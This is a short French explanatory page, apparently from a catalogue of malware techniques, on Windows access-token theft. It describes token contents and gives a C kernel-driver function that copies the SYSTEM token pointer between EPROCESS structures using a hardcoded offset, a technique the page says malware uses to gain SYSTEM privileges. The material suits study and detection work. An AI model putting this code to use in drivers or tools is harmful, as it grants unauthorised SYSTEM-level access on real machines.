Explication
Cette technique permet de copier les privilèges d’un processus src
vers un processus dst
. Elle est notamment utilisée pour attribuer à un programme malveillant les privilèges d’un processus avec les accès SYSTEM (NT AUTHORITY\SYSTEM) en copiant son jeton d’accès (token).
Un jeton d’accès décrit le contexte de sécurité d’un processus ou d’un thread. Il inclue l’identité et les privilèges du compte d’utilisateur qui a lancé le processus/thread. Lorsqu’un utilisateur se connecte, le système produit un jeton d’accès. Chaque processus exécuté par le compte de cet utilisateur copie ce jeton d’accès.
Les jetons d’accès contiennent, entre autres, les informations suivantes :
- Identificateur de sécurité (SID) du compte de l’utilisateur
- SID pour les groupes dont l’utilisateur est membre
- Liste des privilèges détenus par l’utilisateur ou les groupes de l’utilisateur
Code C/C++
// kernel mode driver required
#include <ntifs.h>
#include <ntddk.h>
#include <windef.h>
#define TOKEN 0x4b8 // localisation du token dans le EPROCESS
NTSTATUS ProcessElevationToken(ULONG srcPid, ULONG dstPid)
{
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS pDstProcess, pSrcProcess; //creation des pointeurs EPROCESS
// Récupération du EPROCESS du processus de destination
status = PsLookupProcessByProcessId(ULongToHandle(dstPid), &pDstProcess);
if (!NT_SUCCESS(status)){ // Echec de la récupération du EPROCESS
return status;
}
// Récupération du EPROCESS du processus de source
status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
if (!NT_SUCCESS(status)){ // Echec de la récupération du EPROCESS
return status;
}
// Copie du token du processus source vers le processus de destination
*(UINT64*)((UINT64)pDstProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);
return status;
}
PsLookupProcessByProcessId (ntifs.h)
La fonction prend en paramètre le PID d’un processus et renvoie un pointeur vers la structure EPROCESS du processus.
((UINT64)pProcess + (UINT64)TOKEN)
Cette étape permet de calculer l’emplacement du token à l’intérieur de la structure EPROCESS